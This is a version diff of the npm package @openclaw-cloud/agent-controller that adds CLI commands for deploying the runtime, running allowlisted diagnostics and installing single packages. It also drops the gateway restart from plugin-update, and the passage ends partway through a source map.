@openclaw-cloud/agent-controller 2.4.0-beta.3 → 2.4.0-beta.5

package/bin/agent-controller.js

@@ -49,13 +49,31 @@ if (command === '--version' || command === '-v') {
 } else if (command === 'agent-update' || command === 'agent_update') {
   const { runAgentUpdateCli } = await import('../dist/commands/agent-update-cli.js');
   await runAgentUpdateCli(process.argv.slice(3));
+} else if (command === 'update-skills' || command === 'update_skills') {
+  const { updateSkills } = await import('../dist/commands/update-skills.js');
+  await updateSkills();
+} else if (command === 'restart') {
+  const { runRestartCli } = await import('../dist/commands/restart-cli.js');
+  await runRestartCli();
+} else if (command === 'diagnostics') {
+  const { runDiagnosticsCli } = await import('../dist/commands/diagnostics-cli.js');
+  await runDiagnosticsCli(process.argv.slice(3));
+} else if (command === 'deploy') {
+  const { runDeployCli } = await import('../dist/commands/deploy-cli.js');
+  await runDeployCli(process.argv.slice(3));
+} else if (command === 'package-install' || command === 'package_install') {
+  const { runPackageInstallCli } = await import('../dist/commands/package-install-cli.js');
+  await runPackageInstallCli(process.argv.slice(3));
+} else if (command === 'stop') {
+  const { runStopCli } = await import('../dist/commands/stop-cli.js');
+  await runStopCli();
 } else if (command === undefined) {
   const { main } = await import('../dist/index.js');
   main();
 } else {
   console.error(`Unknown command: ${command}`);
   console.error(
-    'Available: --version, self-update, backup, knowledge-sync, heartbeat, bootstrap, update-config, install-deps, install, uninstall, channel-server, plugin-update, agent-update',
+    'Available: --version, self-update, backup, knowledge-sync, heartbeat, bootstrap, update-config, install-deps, install, uninstall, channel-server, plugin-update, agent-update, update-skills, restart, diagnostics, deploy, package-install, stop',
   );
   process.exit(2);
 }

package/dist/commands/deploy-cli.d.ts

@@ -0,0 +1 @@
+export declare function runDeployCli(args: string[]): Promise<void>;

package/dist/commands/deploy-cli.js

@@ -0,0 +1,60 @@
+import { installOpenclaw } from '../utils/openclaw-ops.js';
+import { restartGateway } from '../utils/gateway-restart.js';
+import { logCollector } from '../connection.js';
+import { toErrorMessage } from '../utils/response.js';
+// ---------------------------------------------------------------------------
+// CLI entrypoint for `agent-controller deploy [version]`. Installs the named
+// openclaw runtime version (default: `latest`) and restarts the gateway.
+//
+// The WS handler at src/handlers/deploy.ts only restarts the gateway — it
+// trusts the backend to have triggered the npm install through agent_update
+// or self_update first. The CLI variant doesn't have that scaffolding, so it
+// owns both the install and the restart.
+// ---------------------------------------------------------------------------
+const USAGE = 'Usage: agent-controller deploy [version]';
+export async function runDeployCli(args) {
+    if (args.length > 1) {
+        console.error(USAGE);
+        process.exit(2);
+    }
+    const version = args[0]?.trim() || 'latest';
+    logCollector?.push('deploy_cli_start', 'info', 'deploy CLI invoked', { version });
+    let installed = false;
+    try {
+        console.log(`[deploy] installing openclaw@${version}...`);
+        installed = await installOpenclaw(version);
+        if (installed) {
+            console.log(`[deploy] openclaw@${version} installed`);
+        }
+        else {
+            console.log(`[deploy] openclaw@${version} already installed, nothing to do`);
+        }
+    }
+    catch (err) {
+        const msg = toErrorMessage(err);
+        console.error(`[deploy] failed: ${msg}`);
+        logCollector?.push('deploy_cli_failed', 'error', 'deploy CLI failed', {
+            version,
+            error: msg,
+        });
+        process.exit(1);
+    }
+    // Always restart the gateway — even when the runtime install was a no-op
+    // the operator typed `deploy` for a reason (likely to recover a wedged
+    // gateway). Mirrors the WS handler's restart-on-deploy semantics.
+    console.log('[deploy] restarting gateway...');
+    try {
+        await restartGateway();
+        console.log('[deploy] gateway restarted');
+    }
+    catch (err) {
+        const msg = toErrorMessage(err);
+        console.error(`[deploy] gateway restart failed (treating as warning): ${msg}`);
+        logCollector?.push('deploy_cli_restart_failed', 'warn', 'Gateway restart failed after deploy', {
+            version,
+            error: msg,
+        });
+    }
+    console.log('[deploy] done');
+}
+//# sourceMappingURL=deploy-cli.js.map

package/dist/commands/deploy-cli.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"deploy-cli.js","sourceRoot":"","sources":["../../src/commands/deploy-cli.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,eAAe,EAAE,MAAM,0BAA0B,CAAC;AAC3D,OAAO,EAAE,cAAc,EAAE,MAAM,6BAA6B,CAAC;AAC7D,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAChD,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AAEtD,8EAA8E;AAC9E,6EAA6E;AAC7E,yEAAyE;AACzE,EAAE;AACF,0EAA0E;AAC1E,4EAA4E;AAC5E,6EAA6E;AAC7E,yCAAyC;AACzC,8EAA8E;AAE9E,MAAM,KAAK,GAAG,0CAA0C,CAAC;AAEzD,MAAM,CAAC,KAAK,UAAU,YAAY,CAAC,IAAc;IAC/C,IAAI,IAAI,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;QACpB,OAAO,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC;QACrB,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IAClB,CAAC;IACD,MAAM,OAAO,GAAG,IAAI,CAAC,CAAC,CAAC,EAAE,IAAI,EAAE,IAAI,QAAQ,CAAC;IAE5C,YAAY,EAAE,IAAI,CAAC,kBAAkB,EAAE,MAAM,EAAE,oBAAoB,EAAE,EAAE,OAAO,EAAE,CAAC,CAAC;IAElF,IAAI,SAAS,GAAG,KAAK,CAAC;IACtB,IAAI,CAAC;QACH,OAAO,CAAC,GAAG,CAAC,gCAAgC,OAAO,KAAK,CAAC,CAAC;QAC1D,SAAS,GAAG,MAAM,eAAe,CAAC,OAAO,CAAC,CAAC;QAC3C,IAAI,SAAS,EAAE,CAAC;YACd,OAAO,CAAC,GAAG,CAAC,qBAAqB,OAAO,YAAY,CAAC,CAAC;QACxD,CAAC;aAAM,CAAC;YACN,OAAO,CAAC,GAAG,CAAC,qBAAqB,OAAO,mCAAmC,CAAC,CAAC;QAC/E,CAAC;IACH,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,MAAM,GAAG,GAAG,cAAc,CAAC,GAAG,CAAC,CAAC;QAChC,OAAO,CAAC,KAAK,CAAC,oBAAoB,GAAG,EAAE,CAAC,CAAC;QACzC,YAAY,EAAE,IAAI,CAAC,mBAAmB,EAAE,OAAO,EAAE,mBAAmB,EAAE;YACpE,OAAO;YACP,KAAK,EAAE,GAAG;SACX,CAAC,CAAC;QACH,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IAClB,CAAC;IAED,yEAAyE;IACzE,uEAAuE;IACvE,kEAAkE;IAClE,OAAO,CAAC,GAAG,CAAC,gCAAgC,CAAC,CAAC;IAC9C,IAAI,CAAC;QACH,MAAM,cAAc,EAAE,CAAC;QACvB,OAAO,CAAC,GAAG,CAAC,4BAA4B,CAAC,CAAC;IAC5C,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,MAAM,GAAG,GAAG,cAAc,CAAC,GAAG,CAAC,CAAC;QAChC,OAAO,CAAC,KAAK,CAAC,0DAA0D,GAAG,EAAE,CAAC,CAAC;QAC/E,YAAY,EAAE,IAAI,CAAC,2BAA2B,EAAE,MAAM,EAAE,qCAAqC,EAAE;YAC7F,OAAO;YACP,KAAK,EAAE,GAAG;SACX,CAAC,CAAC;IACL,CAAC;IAED,OAAO,CAAC,GAAG,CAAC,eAAe,CAAC,CAAC;AAC/B,CAAC"}

package/dist/commands/diagnostics-cli.d.ts

@@ -0,0 +1 @@
+export declare function runDiagnosticsCli(args: string[]): Promise<void>;

package/dist/commands/diagnostics-cli.js

@@ -0,0 +1,38 @@
+import { ALLOWED_CHECKS, isKnownCheck, runDiagnostics } from '../utils/diagnostics.js';
+import { logCollector } from '../connection.js';
+import { toErrorMessage } from '../utils/response.js';
+// ---------------------------------------------------------------------------
+// CLI entrypoint for `agent-controller diagnostics [check]`. Mirrors the WS
+// handler's allowlist (`src/utils/diagnostics.ts`). With no argument, runs
+// every allowlisted check; with one argument, runs only that check.
+// Output is structured JSON on stdout for easy consumption.
+// ---------------------------------------------------------------------------
+const USAGE = `Usage: agent-controller diagnostics [check]\n` +
+    `Available checks: ${Object.keys(ALLOWED_CHECKS).sort().join(', ')}`;
+export async function runDiagnosticsCli(args) {
+    if (args.length > 1) {
+        console.error(USAGE);
+        process.exit(2);
+    }
+    const check = args[0]?.trim();
+    if (check && !isKnownCheck(check)) {
+        console.error(`Unknown diagnostic check: ${check}`);
+        console.error(USAGE);
+        process.exit(2);
+    }
+    logCollector?.push('diagnostics_cli_start', 'info', 'diagnostics CLI invoked', {
+        check: check ?? 'all',
+    });
+    try {
+        const checks = check ? [check] : undefined;
+        const results = await runDiagnostics(checks);
+        console.log(JSON.stringify({ results }, null, 2));
+    }
+    catch (err) {
+        const msg = toErrorMessage(err);
+        console.error(`[diagnostics] failed: ${msg}`);
+        logCollector?.push('diagnostics_cli_failed', 'error', 'diagnostics CLI failed', { error: msg });
+        process.exit(1);
+    }
+}
+//# sourceMappingURL=diagnostics-cli.js.map

package/dist/commands/diagnostics-cli.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"diagnostics-cli.js","sourceRoot":"","sources":["../../src/commands/diagnostics-cli.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,cAAc,EAAE,YAAY,EAAE,cAAc,EAAE,MAAM,yBAAyB,CAAC;AACvF,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAChD,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AAEtD,8EAA8E;AAC9E,4EAA4E;AAC5E,2EAA2E;AAC3E,oEAAoE;AACpE,4DAA4D;AAC5D,8EAA8E;AAE9E,MAAM,KAAK,GACT,+CAA+C;IAC/C,qBAAqB,MAAM,CAAC,IAAI,CAAC,cAAc,CAAC,CAAC,IAAI,EAAE,CAAC,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC;AAEvE,MAAM,CAAC,KAAK,UAAU,iBAAiB,CAAC,IAAc;IACpD,IAAI,IAAI,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;QACpB,OAAO,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC;QACrB,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IAClB,CAAC;IAED,MAAM,KAAK,GAAG,IAAI,CAAC,CAAC,CAAC,EAAE,IAAI,EAAE,CAAC;IAC9B,IAAI,KAAK,IAAI,CAAC,YAAY,CAAC,KAAK,CAAC,EAAE,CAAC;QAClC,OAAO,CAAC,KAAK,CAAC,6BAA6B,KAAK,EAAE,CAAC,CAAC;QACpD,OAAO,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC;QACrB,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IAClB,CAAC;IAED,YAAY,EAAE,IAAI,CAAC,uBAAuB,EAAE,MAAM,EAAE,yBAAyB,EAAE;QAC7E,KAAK,EAAE,KAAK,IAAI,KAAK;KACtB,CAAC,CAAC;IAEH,IAAI,CAAC;QACH,MAAM,MAAM,GAAG,KAAK,CAAC,CAAC,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,SAAS,CAAC;QAC3C,MAAM,OAAO,GAAG,MAAM,cAAc,CAAC,MAAM,CAAC,CAAC;QAC7C,OAAO,CAAC,GAAG,CAAC,IAAI,CAAC,SAAS,CAAC,EAAE,OAAO,EAAE,EAAE,IAAI,EAAE,CAAC,CAAC,CAAC,CAAC;IACpD,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,MAAM,GAAG,GAAG,cAAc,CAAC,GAAG,CAAC,CAAC;QAChC,OAAO,CAAC,KAAK,CAAC,yBAAyB,GAAG,EAAE,CAAC,CAAC;QAC9C,YAAY,EAAE,IAAI,CAAC,wBAAwB,EAAE,OAAO,EAAE,wBAAwB,EAAE,EAAE,KAAK,EAAE,GAAG,EAAE,CAAC,CAAC;QAChG,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IAClB,CAAC;AACH,CAAC"}

package/dist/commands/package-install-cli.d.ts

@@ -0,0 +1 @@
+export declare function runPackageInstallCli(args: string[]): Promise<void>;

package/dist/commands/package-install-cli.js

@@ -0,0 +1,89 @@
+import { installOnePackage, isSafePackageName, } from '../utils/package-install.js';
+import { logCollector } from '../connection.js';
+// ---------------------------------------------------------------------------
+// CLI entrypoint for `agent-controller package-install <name> [--manager M]`.
+// Mirrors the WS handler's regex allowlist and per-package install flow,
+// but takes a single package on the command line rather than a batch.
+//
+// Manager selection:
+//   --manager apt|npm|pip  → explicit
+//   (none)                 → auto-detect by name shape:
+//      starts with '@' or contains '/' (and isn't a path)  → npm
+//      everything else                                     → apt on linux,
+//                                                             npm elsewhere
+// ---------------------------------------------------------------------------
+const VALID_MANAGERS = ['apt', 'npm', 'pip'];
+const USAGE = 'Usage: agent-controller package-install <name> [--manager apt|npm|pip]';
+function parseArgs(args) {
+    let name;
+    let manager;
+    for (let i = 0; i < args.length; i++) {
+        const a = args[i];
+        if (a === '--manager') {
+            const next = args[i + 1]?.trim();
+            if (!next || !VALID_MANAGERS.includes(next))
+                return null;
+            manager = next;
+            i++;
+            continue;
+        }
+        if (a?.startsWith('--manager=')) {
+            const value = a.slice('--manager='.length).trim();
+            if (!value || !VALID_MANAGERS.includes(value))
+                return null;
+            manager = value;
+            continue;
+        }
+        if (name !== undefined)
+            return null; // multiple positional args
+        name = a?.trim();
+    }
+    if (!name)
+        return null;
+    return { name, manager };
+}
+function autoDetectManager(name) {
+    // npm scoped (`@scope/name`) or path-style scoped names → npm
+    if (name.startsWith('@') || name.includes('/')) {
+        return 'npm';
+    }
+    // Linux: assume system package by default; elsewhere fall back to npm so
+    // the CLI is still useful on macOS/Windows dev boxes.
+    return process.platform === 'linux' ? 'apt' : 'npm';
+}
+export async function runPackageInstallCli(args) {
+    const parsed = parseArgs(args);
+    if (!parsed) {
+        console.error(USAGE);
+        process.exit(2);
+    }
+    const { name } = parsed;
+    const manager = parsed.manager ?? autoDetectManager(name);
+    if (!isSafePackageName(name)) {
+        console.error(`[package-install] invalid package name: ${name}`);
+        logCollector?.push('package_install_cli_rejected', 'warn', 'Rejected unsafe package name', {
+            name,
+            manager,
+        });
+        process.exit(2);
+    }
+    logCollector?.push('package_install_cli_start', 'info', 'package-install CLI invoked', {
+        name,
+        manager,
+    });
+    console.log(`[package-install] installing ${name} via ${manager}...`);
+    const result = await installOnePackage(manager, name);
+    if (result.ok) {
+        console.log(`[package-install] ${name} installed`);
+        console.log('[package-install] done');
+        return;
+    }
+    console.error(`[package-install] failed: ${result.error}`);
+    logCollector?.push('package_install_cli_failed', 'error', 'package-install CLI failed', {
+        name,
+        manager,
+        error: result.error,
+    });
+    process.exit(1);
+}
+//# sourceMappingURL=package-install-cli.js.map

package/dist/commands/package-install-cli.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"package-install-cli.js","sourceRoot":"","sources":["../../src/commands/package-install-cli.ts"],"names":[],"mappings":"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"}

package/dist/commands/plugin-update-cli.js

@@ -1,13 +1,12 @@
 import { installPlugin } from '../utils/openclaw-ops.js';
-import { restartGateway } from '../utils/gateway-restart.js';
 import { logCollector } from '../connection.js';
 import { toErrorMessage } from '../utils/response.js';
 // ---------------------------------------------------------------------------
 // CLI entrypoint for `agent-controller plugin-update <id> <version>`
 // (also accepts `<id>@<version>` shorthand). Mirrors the behaviour of the WS
-// handler at src/handlers/plugin-update.ts: install, then best-effort restart
-// the gateway. Restart failures degrade to a warning — the install already
-// succeeded so we exit 0.
+// handler at src/handlers/plugin-update.ts: install only. Openclaw watches
+// the plugin section of its config and self-restarts the gateway when the
+// install lands; calling restartGateway() here would just race that.
 // ---------------------------------------------------------------------------
 const USAGE = 'Usage: agent-controller plugin-update <id> <version>\n' +
     '       agent-controller plugin-update <id>@<version>';
@@ -51,16 +50,8 @@ export async function runPluginUpdateCli(args) {
             console.log('[plugin-update] done');
             return;
         }
-        console.log('[plugin-update] restarting gateway...');
-        try {
-            await restartGateway();
-            console.log('[plugin-update] gateway restarted');
-        }
-        catch (err) {
-            const msg = toErrorMessage(err);
-            console.error(`[plugin-update] gateway restart failed (treating as warning): ${msg}`);
-            logCollector?.push('plugin_update_cli_restart_failed', 'warn', 'Gateway restart failed after CLI plugin install', { id, version, error: msg });
-        }
+        // No restartGateway() — openclaw self-reloads on plugin config changes.
+        console.log('[plugin-update] install complete; openclaw will reload its gateway');
         console.log('[plugin-update] done');
     }
     catch (err) {

package/dist/commands/plugin-update-cli.js.map

@@ -1 +1 @@
-{"version":3,"file":"plugin-update-cli.js","sourceRoot":"","sources":["../../src/commands/plugin-update-cli.ts"],"names":[],"mappings":"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"}
+{"version":3,"file":"plugin-update-cli.js","sourceRoot":"","sources":["../../src/commands/plugin-update-cli.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,aAAa,EAAE,MAAM,0BAA0B,CAAC;AACzD,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAChD,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AAEtD,8EAA8E;AAC9E,qEAAqE;AACrE,6EAA6E;AAC7E,2EAA2E;AAC3E,0EAA0E;AAC1E,qEAAqE;AACrE,8EAA8E;AAE9E,MAAM,KAAK,GACT,wDAAwD;IACxD,sDAAsD,CAAC;AAOzD,SAAS,SAAS,CAAC,IAAc;IAC/B,IAAI,IAAI,CAAC,MAAM,KAAK,CAAC,EAAE,CAAC;QACtB,MAAM,EAAE,GAAG,IAAI,CAAC,CAAC,CAAC,CAAC,WAAW,CAAC,GAAG,CAAC,CAAC;QACpC,0EAA0E;QAC1E,IAAI,EAAE,IAAI,CAAC;YAAE,OAAO,IAAI,CAAC;QACzB,MAAM,EAAE,GAAG,IAAI,CAAC,CAAC,CAAC,CAAC,KAAK,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,IAAI,EAAE,CAAC;QACvC,MAAM,OAAO,GAAG,IAAI,CAAC,CAAC,CAAC,CAAC,KAAK,CAAC,EAAE,GAAG,CAAC,CAAC,CAAC,IAAI,EAAE,CAAC;QAC7C,IAAI,CAAC,EAAE,IAAI,CAAC,OAAO;YAAE,OAAO,IAAI,CAAC;QACjC,OAAO,EAAE,EAAE,EAAE,OAAO,EAAE,CAAC;IACzB,CAAC;IACD,IAAI,IAAI,CAAC,MAAM,KAAK,CAAC,EAAE,CAAC;QACtB,MAAM,EAAE,GAAG,IAAI,CAAC,CAAC,CAAC,EAAE,IAAI,EAAE,IAAI,EAAE,CAAC;QACjC,MAAM,OAAO,GAAG,IAAI,CAAC,CAAC,CAAC,EAAE,IAAI,EAAE,IAAI,EAAE,CAAC;QACtC,IAAI,CAAC,EAAE,IAAI,CAAC,OAAO;YAAE,OAAO,IAAI,CAAC;QACjC,OAAO,EAAE,EAAE,EAAE,OAAO,EAAE,CAAC;IACzB,CAAC;IACD,OAAO,IAAI,CAAC;AACd,CAAC;AAED,MAAM,CAAC,KAAK,UAAU,kBAAkB,CAAC,IAAc;IACrD,MAAM,MAAM,GAAG,SAAS,CAAC,IAAI,CAAC,CAAC;IAC/B,IAAI,CAAC,MAAM,EAAE,CAAC;QACZ,OAAO,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC;QACrB,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IAClB,CAAC;IACD,MAAM,EAAE,EAAE,EAAE,OAAO,EAAE,GAAG,MAAM,CAAC;IAE/B,YAAY,EAAE,IAAI,CAAC,yBAAyB,EAAE,MAAM,EAAE,2BAA2B,EAAE;QACjF,EAAE;QACF,OAAO;KACR,CAAC,CAAC;IAEH,IAAI